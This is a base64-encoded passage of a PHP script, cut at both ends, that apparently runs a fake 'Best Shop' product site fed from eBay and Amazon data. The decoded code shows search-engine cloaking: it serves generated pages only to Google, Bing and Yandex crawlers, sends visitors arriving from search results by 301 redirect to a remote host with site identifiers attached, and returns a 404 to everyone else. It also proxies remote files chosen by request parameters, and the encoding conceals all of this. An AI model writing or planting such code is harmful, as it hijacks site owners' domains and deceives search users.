TVF9QQUdFX1JPVVRFUl9OQU1FID0gJ2NvbGxlY3Rpb24nOwogICAgY29uc3QgREVUQUlMX1BBR0VfUk9VVEVSX05BTUUgPSAnZGV0YWlsJzsKICAgIGNvbnN0IFZFUklGWV9QUk9EVUNUX1RZUEUgPSAncHJvZHVjdF9pZCc7CiAgICBjb25zdCBWRVJJRllfQ0FURUdPUllfVFlQRSA9ICdjYXRlZ29yeV9pZCc7CiAgICBjb25zdCBBUElfU1JDX05BTUVfRUJBWT0gJ2ViYXknOwogICAgY29uc3QgQVBJX1NSQ19OQU1FX0FNQVpPTiA9ICdhbWF6b24nOwogICAgY29uc3QgQVBJX1NSQ19OQU1FX0JSQU5EQVBJID0gJ2JyYW5kYXBpJzsKICAgIGNvbnN0IEFQSV9TUkNfTkFNRV9IT1RfVE9QSUNTID0gJ2hvdHRvcGljcyc7CiAgICBjb25zdCBERUZBVUxUX1RJVExFX05BTUUgPSAnQmVzdCBTaG9wJzsKICAgIGNvbnN0IENBVEVHT1JZX0ZJTEVfTkFNRSA9ICJUTEMiOwogICAgY29uc3QgUkFORE9NX0tFWVdPUkRTX0ZJTEVfTkFNRSA9ICJSS1ciOwogICAgY29uc3QgSE9NRV9GSUxFX0xJU1QgPSAiTElTVCI7CiAgICBjb25zdCBIT01FX0ZJTEVfU1VCID0gIlNVQiI7CiAgICBjb25zdCBIT01FX0ZJTEVfREVUQUlMID0gIkRFVEFJTCI7CiAgICBjb25zdCBDQUNIRV9ESVJFQ1RPUlkgPSAiY2hpbGRfY2FjaGUiOwogICAgY29uc3QgQ0FURUdPUllfSURfTUlOX0xFTiA9IDE7CiAgICBjb25zdCBDQVRFR09SWV9JRF9NQVhfTEVOID0gMTI7CiAgICBjb25zdCBQUk9EVUNUX0lEX01JTl9MRU4gPSA5OwogICAgY29uc3QgUFJPRFVDVF9JRF9NQVhfTEVOID0gMTU7CiAgICBjb25zdCBSQVdfUFJJQ0VfUkFURSA9IDg4IC8gMTAwOwogICAgY29uc3QgRElTUExBWV9QUklDRV9SQVRFID0gNjAgLyAxMDA7CiAgICBjb25zdCBERUZBVUxUX1BST0RVQ1RfUkVDT01NRU5EID0gODsKICAgIGNvbnN0IERFRkFVTFRfUEFHRV9OVU0gPSAxOwogICAgY29uc3QgREVGQVVMVF9QQUdFX1NJWkUgPSAxMDsKICAgIGNvbnN0IENBQ0hFX0VYUElSRV9USU1FID0gODY0MDA7CiAgICBjb25zdCBDQUNIRV9TTEVFUF9USU1FID0gMTsKICAgIHByaXZhdGUgJGFwaVVybDsKICAgIHByaXZhdGUgJGFwcElkOwogICAgcHJpdmF0ZSAkZG9tYWluOwogICAgcHJpdmF0ZSAkZG9tYWluSWQ7CiAgICBwcml2YXRlICRhcGlTcmM7CiAgICBwcml2YXRlICRhcGlFeHRyYTsKICAgIHByaXZhdGUgJGlzTmdpbng7CiAgICBwcml2YXRlICRpc0hvdFRvcGljczsKICAgIHByaXZhdGUgJHJvdXRlOwoKICAgIHB1YmxpYyBmdW5jdGlvbiBpbml0KCl7CiAgICAgICAgJGpzb25Db25maWcgPSBmaWxlX2dldF9jb250ZW50cyhfX0RJUl9fIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICdjb25maWcuanNvbicpOwogICAgICAgICRjb25maWcgPSBqc29uX2RlY29kZSgkanNvbkNvbmZpZywgdHJ1ZSk7CiAgICAgICAgJHRoaXMtPmFwcElkID0gJGNvbmZpZ1snYXBwX2lkJ107CiAgICAgICAgJHRoaXMtPmFwaVNyYyA9ICRjb25maWdbJ2FwaV9zcmMnXTsKICAgICAgICAkdGhpcy0+YXBpRXh0cmEgPSAkY29uZmlnWydhcGlfZXh0cmEnXTsKICAgICAgICAkdGhpcy0+ZG9tYWluSWQgPSAkY29uZmlnWydkb21haW5faWQnXTsKICAgICAgICAkdGhpcy0+aXNIb3RUb3BpY3MgPSBmYWxzZTsKICAgICAgICAkdGhpcy0+cm91dGUgPSBzdHJfcmVwbGFjZShhcnJheSgiXFwiLCAiL2luZGV4LnBocCIpLCBhcnJheSgnLycsICcnKSwgJF9TRVJWRVJbJ1BIUF9TRUxGJ10pOwogICAgICAgICRwcm90b2NvbCA9ICgoaXNzZXQoJF9TRVJWRVJbJ0hUVFBTJ10pICYmICRfU0VSVkVSWydIVFRQUyddID09ICdvbicpIHx8IChpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSAmJiAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddID09ICdodHRwcycpKSA/ICdodHRwcycgOiAnaHR0cCc7CgogICAgICAgICR0aGlzLT5hcGlVcmwgPSAiaHR0cHM6Ly97JGNvbmZpZ1snYXBpX3VybCddfSI7CiAgICAgICAgaWYoc3Vic3RyKCR0aGlzLT5hcGlVcmwsIC0xKSA9PSAnLycpIHsKICAgICAgICAgICAgJHRoaXMtPmFwaVVybCA9IHJ0cmltKCR0aGlzLT5hcGlVcmwsICcvJyk7CiAgICAgICAgfQoKICAgICAgICAkbGVuID0gc3RybGVuKCd3d3cuJyk7CiAgICAgICAgJHRoaXMtPmRvbWFpbiA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXSA/OiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXTsKICAgICAgICAkc2l0ZW1hcEhvc3QgPSAkdGhpcy0+ZG9tYWluOwogICAgICAgIGlmIChzdWJzdHIoJHRoaXMtPmRvbWFpbiwgMCwgJGxlbikgPT09ICd3d3cuJykgewogICAgICAgICAgICAkdGhpcy0+ZG9tYWluID0gc3RyX3JlcGxhY2UoJ3d3dy4nLCAnJywgJHRoaXMtPmRvbWFpbik7CiAgICAgICAgfQoKICAgICAgICAkcmVmZXJlciA9ICRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsKICAgICAgICBpZiAoJHJlZmVyZXIpIHsKICAgICAgICAgICAgJHBhcnNlZFVybCA9IHBhcnNlX3VybCgkcmVmZXJlcik7CiAgICAgICAgICAgICRzb3VyY2UgPSAkcGFyc2VkVXJsWydob3N0J107CiAgICAgICAgfQoKCiAgICAgICAgJHR5cGUgPSAkX0dFVFsndCddOwogICAgICAgIGlmKCR0eXBlID09ICdzaXRlbWFwJyAmJiAkX0dFVFsnZiddKXsKICAgICAgICAgICAgJHNpdGVtYXBGaWxlTmFtZSA9ICR0eXBlIC4gKCRfR0VUWydzJ10gPzogJycpIC4gIi57JF9HRVRbJ2YnXX0iOwogICAgICAgICAgICAkdXJsID0gInskdGhpcy0+YXBpVXJsfS9zaXRlbWFwL3skc2l0ZW1hcEZpbGVOYW1lfSI7CiAgICAgICAgICAgICRyZXNwb25zZSA9ICR0aGlzLT5jdXJsU3RhdGljKCR1cmwsIFsiWC1Gb3J3YXJkZWQtSG9zdDogeyRzaXRlbWFwSG9zdH0iLCAiWC1Gb3J3YXJkZWQtUHJvdG86IHskcHJvdG9jb2x9Il0pOwogICAgICAgICAgICBlY2hvICRyZXNwb25zZTsKICAgICAgICAgICAgZXhpdCgpOwogICAgICAgIH0KCgogICAgICAgIGlmKCR0eXBlID09ICdzdGF0aWMnKXsKICAgICAgICAgICAgJHN0YXRpY1VybCA9ICJodHRwczovL3skY29uZmlnWydhcGlfdXJsJ119L3skX0dFVFsncCddfS97JF9HRVRbJ2UnXX0iOwogICAgICAgICAgICAkcmVzcG9uc2UgPSAkdGhpcy0+Y3VybFN0YXRpYygkc3RhdGljVXJsKTsKICAgICAgICAgICAgaWYoJHJlc3BvbnNlICE9IGZhbHNlKXsKICAgICAgICAgICAgICAgIGlmKHN0cnBvcygkX0dFVFsnZSddLCAncGx1Z2lucy5jc3MnKSA9PSB0cnVlKXsKICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBwcmVnX3JlcGxhY2UoJy91cmxcKCIoW14iXSopIlwpLycsICJ1cmwoeyR0aGlzLT5nZXRDb21wbGV0ZVJvdXRlKCl9JDEpIiwgJHJlc3BvbnNlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVjaG8gJHJlc3BvbnNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGV4aXQoKTsKICAgICAgICB9CgogICAgICAgIGlmKCR0eXBlID09ICdnZW5fc2l0ZW1hcCcpewogICAgICAgICAgICAkc2NoZW1lID0gaXNzZXQoJF9TRVJWRVJbJ3NjaGVtZSddKSAmJiAkX1NFUlZFUlsnSFRUUFMnXSA9PT0gJ29uJyA/ICdodHRwcycgOiAnaHR0cCc7CiAgICAgICAgICAgICRhcHBfaWQgPSAkY29uZmlnWydhcHBfaWQnXTsKICAgICAgICAgICAgJHJlc3BvbnNlX2RhdGE9IGFycmF5KAogICAgICAgICAgICAgICAgInNjaGVtZSI9PiAkc2NoZW1lLAogICAgICAgICAgICAgICAgImFwcF9pZCI9PiAkYXBwX2lkLAogICAgICAgICAgICAgICAgInBhdGgiPT4gIiIKICAgICAgICAgICAgKTsKICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZSgkcmVzcG9uc2VfZGF0YSk7CiAgICAgICAgICAgIGV4aXQoKTsKICAgICAgICB9CgogICAgICAgIGlmKCR0eXBlID09ICdyb2JvdHMnKSB7CiAgICAgICAgICAgIC8vIOi+k+WHuum7mOiupOeahCByb2JvdHMudHh0IOWGheWuuQogICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbicpOwogICAgICAgICAgICBlY2hvICJVc2VyLWFnZW50OiAqXG5BbGxvdzogL1xuU2l0ZW1hcDogIiAuICRwcm90b2NvbCAuICI6Ly8iIC4gJHNpdGVtYXBIb3N0IC4gIi9zaXRlbWFwLnhtbCI7CiAgICAgICAgICAgIGV4aXQoKTsKICAgICAgICB9CgoKICAgICAgICAkdXNlckFnZW50ID0gJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwogICAgICAgIGlmIChwcmVnX21hdGNoKCcvKGdvb2dsZXxiaW5nfHlhbmRleCkvaScsICR1c2VyQWdlbnQpKSB7CiAgICAgICAgICAgIHN3aXRjaCAoJHR5cGUpewogICAgICAgICAgICAgICAgY2FzZSBzZWxmOjpMSVNUX1BBR0VfUk9VVEVSX05BTUU6CiAgICAgICAgICAgICAgICAgICAgZWNobyAkdGhpcy0+cmVwbGFjZUxpc3RIdG1sKCk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlIHNlbGY6OkRFVEFJTF9QQUdFX1JPVVRFUl9OQU1FOgogICAgICAgICAgICAgICAgICAgIGVjaG8gJHRoaXMtPnJlcGxhY2VEZXRhaWxIdG1sKCk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgICAgIGVjaG8gJHRoaXMtPnJlcGxhY2VIb21lSHRtbCgpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGV4aXQoKTsKICAgICAgICB9IGVsc2UgaWYgKCFlbXB0eSgkc291cmNlKSAmJiBwcmVnX21hdGNoKCcvKGdvb2dsZXxiaW5nfHlhbmRleCkvaScsICRzb3VyY2UpKSB7CiAgICAgICAgICAgICRyZWRpcmVjdFVybCA9ICR0aGlzLT5hcGlVcmwgLiBzZWxmOjpOT1RfR0JZX1VSTCAuICI/YT0iIC4gdXJsZW5jb2RlKCR0aGlzLT5hcHBJZCkgLiAiJmM9IiAuIHVybGVuY29kZSgkdGhpcy0+YXBpU3JjKSAuICImeD0iIC4gdXJsZW5jb2RlKCR0aGlzLT5hcGlFeHRyYSkgLiAiJnI9IiAuIHVybGVuY29kZSgkc291cmNlKSAuICImZD0iIC4gdXJsZW5jb2RlKCR0aGlzLT5kb21haW5JZCkgLiAiJms9IiAuIHVybGVuY29kZSgkdGhpcy0+ZG9tYWluKSAuICImcD0xIjsKICAgICAgICAgICAgaWYoIWVtcHR5KCRfR0VUKSAmJiBpc19hcnJheSgkX0dFVCkpewogICAgICAgICAgICAgICAgZm9yZWFjaCAoJF9HRVQgYXMgJGtleSA9PiAkdmFsdWUpewogICAgICAgICAgICAgICAgICAgICRyZWRpcmVjdFVybCA9ICRyZWRpcmVjdFVybCAuICImeyRrZXl9PXskdmFsdWV9IjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBoZWFkZXIoIkhUVFAvMS4xIDMwMSBNb3ZlZCBQZXJtYW5lbnRseSIpOwogICAgICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiB7JHJlZGlyZWN0VXJsfSIpOwogICAgICAgICAgICBleGl0KCk7CiAgICAgICAgfSBlbHNlIGlmICgkX0dFVFsnaCddID09IHNlbGY6OkhFQUxUSF9DSEVDSyAmJiAkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PT0gJ0dFVCcpewogICAgICAgICAgICBodHRwX3Jlc3BvbnNlX2NvZGUoMjA0KTsKICAgICAgICAgICAgZXhpdCgpOwogICAgICAgIH0gZWxzZSBpZigkX0dFVFsiaCJdID09IHNlbGY6OkNBQ0hFX1JPVVRFICYmICRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09PSAnUE9TVCcpewogICAgICAgICAgICAkdGhpcy0+c2V0SG9tZURhdGFDYWNoZSgpOwogICAgICAgICAgICBodHRwX3Jlc3BvbnNlX2NvZGUoMjAwKTsKICAgICAgICAgICAgZXhpdCgpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGhlYWRlcigiSFRUUC8xLjEgMzAxIE1vdmVkIFBlcm1hbmVudGx5Iik7CiAgICAgICAgICAgIGhlYWRlcigiTG9jYXRpb246IC80MDQiKTsKICAgICAgICAgICAgZXhpdCgpOwogICAgICAgIH0KICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0SG9tZURhdGFDYWNoZSgpewogICAgICAgICRyZXNwb25zZSA9ICR0aGlzLT5jdXJsQXBpKAogICAgICAgICAgICAkdGhpcy0+YXBpVXJsIC4gc2VsZjo6TElOS19DQUNIRV9VUkwsCiAgICAgICAgICAgIGFycmF5KAogICAgICAgICAgICAgICAgJ3NjaGVtZScgPT4gaXNzZXQoJF9TRVJWRVJbJ0hUVFBTJ10pICYmICRfU0VSVkVSWydIVFRQUyddID09PSAnb24nID8gJ2h0dHBzJyA6ICdodHRwJyAsCiAgICAgICAgICAgICAgICAncGFyZW50X2lkJyA9PiAkdGhpcy0+ZG9tYWluSWQsCiAgICAgICAgICAgICAgICAnZG9tYWluJyA9PiAkdGhpcy0+ZG9tYWluLAogICAgICAgICAgICAgICAgJ3BhdGgnID0+ICJ7JHRoaXMtPmdldENvbXBsZXRlUm91dGUoKX0vIiwKICAgICAgICAgICAgICAgICdhcHBfaWQnID0+ICR0aGlzLT5hcHBJZCwKICAgICAgICAgICAgICAgICdhcGlfc3JjJyA9PiAkdGhpcy0+YXBpU3JjLAogICAgICAgICAgICAgICAgJ2FwaV9leHRyYScgPT4gJHRoaXMtPmFwaUV4dHJhLAogICAgICAgICAgICApLAogICAgICAgICAgICBbXSwKICAgICAgICAgICAgJ1BPU1QnCiAgICAgICAgKTsKICAgICAgICAkZGF0YSA9IGpzb25fZGVjb2RlKCRyZXNwb25zZVsnZGF0YSddLCB0cnVlKTsKICAgICAgICBpZigkZGF0YVsnc3RhdHVzX2NvZGUnXSA9PSAyMDApewogICAgICAgICAgICAkdGhpcy0+Z2V0UmFuZG9tS2V5V29yZHMoJycpOwogICAgICAgICAgICAkY2F0ZWdvcnlMaXN0ID0gJHRoaXMtPmdldENhdGVnb3J5KCk7CgogICAgICAgICAgICAkZmlyc3RDYXRlZ29yeSA9IGFycmF5X3NoaWZ0KCRjYXRlZ29yeUxpc3QpOwogICAgICAgICAgICAkZmlyc3RMaXN0ID0gJHRoaXMtPmdldExpc3QoJGZpcnN0Q2F0ZWdvcnlbImNhdGVnb3J5X2lkIl0sIHNlbGY6OkRFRkFVTFRfUEFHRV9OVU0sIHNlbGY6OkRFRkFVTFRfUEFHRV9TSVpFKTsKICAgICAgICAgICAgJHRoaXMtPnNldENhY2hlKHNlbGY6OkhPTUVfRklMRV9MSVNULCBqc29uX2VuY29kZSgkZmlyc3RMaXN0KSwgWyRmaXJzdENhdGVnb3J5WyJjYXRlZ29yeV9pZCJdLCBzZWxmOjpERUZBVUxUX1BBR0VfTlVNLCBzZWxmOjpERUZBVUxUX1BBR0VfU0laRV0pOwogICAgICAgICAgICAkc3ViTGlzdCA9ICR0aGlzLT5nZXRTdWJMaXN0KCRmaXJzdENhdGVnb3J5WyJjYXRlZ29yeV9pZCJdKTsKICAgICAgICAgICAgJHRoaXMtPnNldENhY2hlKHNlbGY6OkhPTUVfRklMRV9TVUIsIGpzb25fZW5jb2RlKCRzdWJMaXN0KSwgWyRmaXJzdENhdGVnb3J5WyJjYXRlZ29yeV9pZCJdXSk7CgogICAgICAgICAgICBmb3JlYWNoICgkZmlyc3RMaXN0IGFzICRwcm9kdWN0KSB7CiAgICAgICAgICAgICAgICAkZGV0YWlsID0gJHRoaXMtPmdldERldGFpbCgkcHJvZHVjdFsnaWQnXSwgc2VsZjo6REVGQVVMVF9QUk9EVUNUX1JFQ09NTUVORCk7CiAgICAgICAgICAgICAgICAkdGhpcy0+c2V0Q2FjaGUoc2VsZjo6SE9NRV9GSUxFX0RFVEFJTCwganNvbl9lbmNvZGUoJGRldGFpbCksIFskcHJvZHVjdFsnaWQnXV0pOwogICAgICAgICAgICAgICAgc2xlZXAoc2VsZjo6Q0FDSEVfU0xFRVBfVElNRSk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGZvcmVhY2ggKCRjYXRlZ29yeUxpc3QgYXMgJGNhdGVnb3J5KSB7CiAgICAgICAgICAgICAgICAkbGlzdCA9ICR0aGlzLT5nZXRMaXN0KCRjYXRlZ29yeVsnY2F0ZWdvcnlfaWQnXSwgc2VsZjo6REVGQVVMVF9QQUdFX05VTSwgc2VsZjo6REVGQVVMVF9QQUdFX1NJWkUpOwogICAgICAgICAgICAgICAgJHRoaXMtPnNldENhY2hlKHNlbGY6OkhPTUVfRklMRV9MSVNULCBqc29uX2VuY29kZSgkbGlzdCksIFskY2F0ZWdvcnlbJ2NhdGVnb3J5X2lkJ10sIHNlbGY6OkRFRkFVTFRfUEFHRV9OVU0sIHNlbGY6OkRFRkFVTFRfUEFHRV9TSVpFXSk7CiAgICAgICAgICAgICAgICAkc3ViTGlzdCA9ICR0aGlzLT5nZXRTdWJMaXN0KCRjYXRlZ29yeVsnY2F0ZWdvcnlfaWQnXSk7CiAgICAgICAgICAgICAgICAkdGhpcy0+c2V0Q2FjaGUoc2VsZjo6SE9NRV9GSUxFX1NVQiwganNvbl9lbmNvZGUoJHN1Ykxpc3QpLCBbJGNhdGVnb3J5WydjYXRlZ29yeV9pZCddXSk7CiAgICAgICAgICAgICAgICBzbGVlcChzZWxmOjpDQUNIRV9TTEVFUF9USU1FKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZWNobyAnT0snOwogICAgICAgICAgICBkaWUoKTsKICAgICAgICB9CiAgICAgICAgaHR0cF9yZXNwb25zZV9jb2RlKCRkYXRhWydzdGF0dXNfY29kZSddKTsKICAgICAgICBlY2hvICRkYXRhWydkYXRhJ11bJ2Vycm1zZyddOwogICAgICAgIGRpZSgpOwogICAgfQoKICAgIC8qKgogICAgICogUmVwbGFjZSBjYXRlZ29yeSBodG1sCiAgICAgKiBAcGFyYW0gJGNhdGVnb3J5TGlzdAogICAgICogQHBhcmFtICRodG1sCiAgICAgKiBAcmV0dXJuIHN0cmluZ3xzdHJpbmdbXXxudWxsCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiByZXBsYWNlQ29tbW9uSHRtbCgkY2F0ZWdvcnlMaXN0LCAkaHRtbCl7CiAgICAgICAgJHBjQ2F0ZWdvcnlIdG1sID0gJHRoaXMtPmJ1aWxkQ2F0ZWdvcnlIdG1sKCRjYXRlZ29yeUxpc3QpOwogICAgICAgICRtb2JpbGVDYXRlZ29yeUh0bWwgPSAkdGhpcy0+YnVpbGRDYXRlZ29yeUh0bWwoJGNhdGVnb3J5TGlzdCwgdHJ1ZSk7CgogICAgICAgICRzdGF0aWNDc3NIdG1sID0gZmlsZV9nZXRfY29udGVudHMoX19ESVJfXyAuICcvc3RhdGljLmNzcy5odG1sJyk7CiAgICAgICAgJHN0YXRpY0Nzc0h0bWwgPSBwcmVnX3JlcGxhY2UoJy8oc3JjPXxocmVmPSkoW1wnIl0pKFwvLio/KVwyLycsICckMSInIC4gJHRoaXMtPnJvdXRlIC4gJyQzIicsICRzdGF0aWNDc3NIdG1sKTsKICAgICAgICAkc3RhdGljQ3NzSHRtbCA9IHN0cl9yZXBsYWNlKFsiXHIiLCAiXG4iXSwgJycsICRzdGF0aWNDc3NIdG1sKTsKCiAgICAgICAgJGVuY3J5cHRTdGF0aWMgPSAkdGhpcy0+ZW5jb2RlKCRzdGF0aWNDc3NIdG1sLCAkdGhpcy0+ZG9tYWluKTsKICAgICAgICAkY3NzQ2h1bmtzID0gJHRoaXMtPnNwbGl0U3RyaW5nSW50b0NodW5rcygkZW5jcnlwdFN0YXRpYywgMTAwKTsKCiAgICAgICAgJGh0bWwgPSBwcmVnX3JlcGxhY2VfY2FsbGJhY2soJy97e3N0YXRpYy5jc3N9fS8nLCBmdW5jdGlvbigpIHVzZSAoJGNzc0NodW5rcykgewogICAgICAgICAgICByZXR1cm4gJGNzc0NodW5rczsKICAgICAgICB9LCAkaHRtbCk7CgogICAgICAgICRzdGF0aWNKc0h0bWwgPSBmaWxlX2dldF9jb250ZW50cyhfX0RJUl9fIC4gJy9zdGF0aWMuanMuaHRtbCcpOwogICAgICAgICRzdGF0aWNKc0h0bWwgPSBwcmVnX3JlcGxhY2UoJy8oc3JjPXxocmVmPSkoW1wnIl0pKFwvLio/KVwyLycsICckMSInIC4gJHRoaXMtPnJvdXRlIC4gJyQzIicsICRzdGF0aWNKc0h0bWwpOwogICAgICAgICRzdGF0aWNKc0h0bWwgPSBzdHJfcmVwbGFjZShbIlxyIiwgIlxuIl0sICcnLCAkc3RhdGljSnNIdG1sKTsKCiAgICAgICAgJGVuY3J5cHRTdGF0aWMgPSAkdGhpcy0+ZW5jb2RlKCRzdGF0aWNKc0h0bWwsICR0aGlzLT5kb21haW4pOwogICAgICAgICRqc0NodW5rcyA9ICR0aGlzLT5zcGxpdFN0cmluZ0ludG9DaHVua3MoJGVuY3J5cHRTdGF0aWMsIDEwMCk7CiAgICAgICAgJGh0bWwgPSBwcmVnX3JlcGxhY2VfY2FsbGJhY2soJy97e3N0YXRpYy5qc319LycsIGZ1bmN0aW9uKCkgdXNlICgkanNDaHVua3MpIHsKICAgICAgICAgICAgcmV0dXJuICRqc0NodW5rczsKICAgICAgICB9LCAkaHRtbCk7CgogICAgICAgICRodG1sID0gcHJlZ19yZXBsYWNlKCcve3twcm9kdWN0X2NhdGVnb3J5fX0vJywgJHBjQ2F0ZWdvcnlIdG1sLCAkaHRtbCk7CiAgICAgICAgJGh0bWwgPSBwcmVnX3JlcGxhY2UoJy97e3Byb2R1Y3RfY2F0ZWdvcnlfbW9iaWxlfX0vJywgJG1vYmlsZUNhdGVnb3J5SHRtbCwgJGh0bWwpOwogICAgICAgICRodG1sID0gcHJlZ19yZXBsYWNlKCcve3twcmVmaXh9fS8nLCAkdGhpcy0+Z2V0Q29tcGxldGVSb3V0ZSgpLCAkaHRtbCk7CgogICAgICAgICRkZXNpcmVkUGF0aCA9ICR0aGlzLT5nZXRDb21wbGV0ZVJvdXRlKCk7CiAgICAgICAgJGh0bWwgPSBwcmVnX3JlcGxhY2UoJy8oc3JjPXxocmVmPSkoW1wnIl0pKFwvLio/KVwyLycsICckMSInIC4gJGRlc2lyZWRQYXRoIC4gJyQzIicsICRodG1sKTsKCgogICAgICAgICRmb290ZXIgPSAnPHNwYW4gY2xhc3M9ImZvb3Rlci1jb3B5cmlnaHQiPkNvcHlyaWdodMKpICcuZGF0ZSgnWScpLicgPGEgc3R5bGU9ImNvbG9yOiAjMDA3YmZmIiBocmVmPSInLiAkZGVzaXJlZFBhdGggLiAnIj4nIC4gJHRoaXMtPmRvbWFpbiAuICc8L2E+IEFsbCBSaWdodHMgUmVzZXJ2ZWQ8L3NwYW4+JzsKICAgICAgICAkaHRtbCA9IHByZWdfcmVwbGFjZSgnL3t7Zm9vdGVyX2NvcHlyaWdodH19LycsICRmb290ZXIsICRodG1sKTsKCiAgICAgICAgcmV0dXJuICRodG1sOwogICAgfQoKICAgIC8qKgogICAgICogUmVwbGFjZSBob21lIGh0bWwKICAgICAqIEByZXR1cm4gc3RyaW5nfHN0cmluZ1tdfG51bGwKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHJlcGxhY2VIb21lSHRtbCgpewogICAgICAgICRodG1sID0gZmlsZV9nZXRfY29udGVudHMoX19ESVJfXyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnaG9tZS5odG1sJyk7CgogICAgICAgICRjYXRlZ29yeUxpc3QgPSAkdGhpcy0+Z2V0Q2F0ZWdvcnkoKTsKICAgICAgICAkaG90VG9waWNzRGF0YSA9ICR0aGlzLT5nZXRIb3RUb3BpY3NJbmRleCgpOwogICAgICAgICRmaXN0Q2F0ZWdvcnkgPSBhcnJheV9zaGlmdCgkY2F0ZWdvcnlMaXN0KTsKICAgICAgICAkbGlzdCA9ICR0aGlzLT5nZXRMaXN0KCRmaXN0Q2F0ZWdvcnlbJ2NhdGVnb3J5X2lkJ10sIHNlbGY6OkRFRkFVTFRfUEFHRV9OVU0sIHNlbGY6OkRFRkFVTFRfUEFHRV9TSVpFKTsKICAgICAgICAkbGlzdEh0bWwgPSAkdGhpcy0+YnVpbGRMaXN0SHRtbChhcnJheV9tZXJnZSgkaG90VG9waWNzRGF0YSwgWyJ7JGZpc3RDYXRlZ29yeVsnY2F0ZWdvcnlfbmFtZSddfV97JGZpc3RDYXRlZ29yeVsnY2F0ZWdvcnlfaWQnXX0iID0+ICRsaXN0XSksIHNlbGY6OkRFRkFVTFRfUEFHRV9OVU0sIHNlbGY6OkRFRkFVTFRfUEFHRV9TSVpFKTsKICAgICAgICAkaHRtbCA9IHByZWdfcmVwbGFjZSgnL3t7cHJvZHVjdF9saXN0fX0vJywgJGxpc3RIdG1sWydsaXN0X2h0bWwnXSwgJGh0bWwpOwoKICAgICAgICAkaHRtbCA9ICR0aGlzLT5yZXBsYWNlRWxlbWVudHNIdG1sKCRodG1sKTsKICAgICAgICAkaHRtbCA9ICR0aGlzLT5yZXBsYWNlQ29tbW9uSHRtbCgkY2F0ZWdvcnlMaXN0LCAkaHRtbCk7CgogICAgICAgIHJldHVybiAkaHRtbDsKICAgIH0KCiAgICAvKioKICAgICAqIFJlcGxhY2UgY29sbGVjdGlvbihsaXN0KSBodG1sCiAgICAgKiBAcmV0dXJuIHN0cmluZ3xzdHJpbmdbXXxudWxsCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiByZXBsYWNlTGlzdEh0bWwoKXsKICAgICAgICBsaXN0KCRjYXRlZ29yeUlkLCAkcGFnZU51bSwgJHBhZ2VTaXplKSA9IFskX0dFVFsnaSddLCAkX0dFVFsnbiddID86IHNlbGY6OkRFRkFVTFRfUEFHRV9OVU0sICRfR0VUWydzJ10gPzogc2VsZjo6REVGQVVMVF9QQUdFX1NJWkVdOwogICAgICAgICRodG1sID0gZmlsZV9nZXRfY29udGVudHMoX19ESVJfXyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnY29sbGVjdGlvbi5odG1sJyk7CgogICAgICAgICRsaXN0ID0gJHRoaXMtPmdldExpc3QoJGNhdGVnb3J5SWQsICRwYWdlTnVtLCAkcGFnZVNpemUpOwogICAgICAgICRsaXN0SHRtbCA9ICR0aGlzLT5idWlsZExpc3RIdG1sKFskbGlzdF0sICRwYWdlTnVtLCAkcGFnZVNpemUpOwogICAgICAgICRodG1sID0gcHJlZ19yZXBsYWNlKCcve3twcm9kdWN0X2xpc3R9fS8nLCAkbGlzdEh0bWxbJ2xpc3RfaHRtbCddLCAkaHRtbCk7CiAgICAgICAgJGh0bWwgPSBwcmVnX3JlcGxhY2UoJy97e2NvbGxlY3Rpb25fdHVybl9wYWdlfX0vJywgJGxpc3RIdG1sWyd0dXJuX3BhZ2VfaHRtbCddLCAkaHRtbCk7CiAgICAgICAgJGh0bWwgPSBwcmVnX3JlcGxhY2UoJy97e2NvbGxlY3Rpb25fYnJlYWRjcnVtYn19LycsICRsaXN0SHRtbFsnY29sbGVjdGlvbl9icmVhZGNydW1iX2h0bWwnXSwgJGh0bWwpOwoKICAgICAgICBpZighJHRoaXMtPmlzSG90VG9waWNzKXsKICAgICAgICAgICAgJHN1Ykxpc3QgPSAkdGhpcy0+Z2V0U3ViTGlzdCgkY2F0ZWdvcnlJZCk7CiAgICAgICAgICAgICRzdWJDYXRlZ29yeUh0bWwgPSAkdGhpcy0+YnVpbGRTdWJMaXN0SHRtbCgkc3ViTGlzdCk7CiAgICAgICAgICAgICRodG1sID0gcHJlZ19yZXBsYWNlKCcve3tjb2xsZWN0aW9uX3N1Yl9jYXRlZ29yeX19LycsICRzdWJDYXRlZ29yeUh0bWwsICRodG1sKTsKICAgICAgICB9CgogICAgICAgICRodG1sID0gJHRoaXMtPnJlcGxhY2VFbGVtZW50c0h0bWwoJGh0bWwsICJ7JGxpc3RbJ2tleSddfSIsIHNlbGY6OkxJU1RfUEFHRV9ST1VURVJfTkFNRSwgJGxpc3QpOwogICAgICAgICRodG1sID0gJHRoaXMtPnJlcGxhY2VDb21tb25IdG1sKCR0aGlzLT5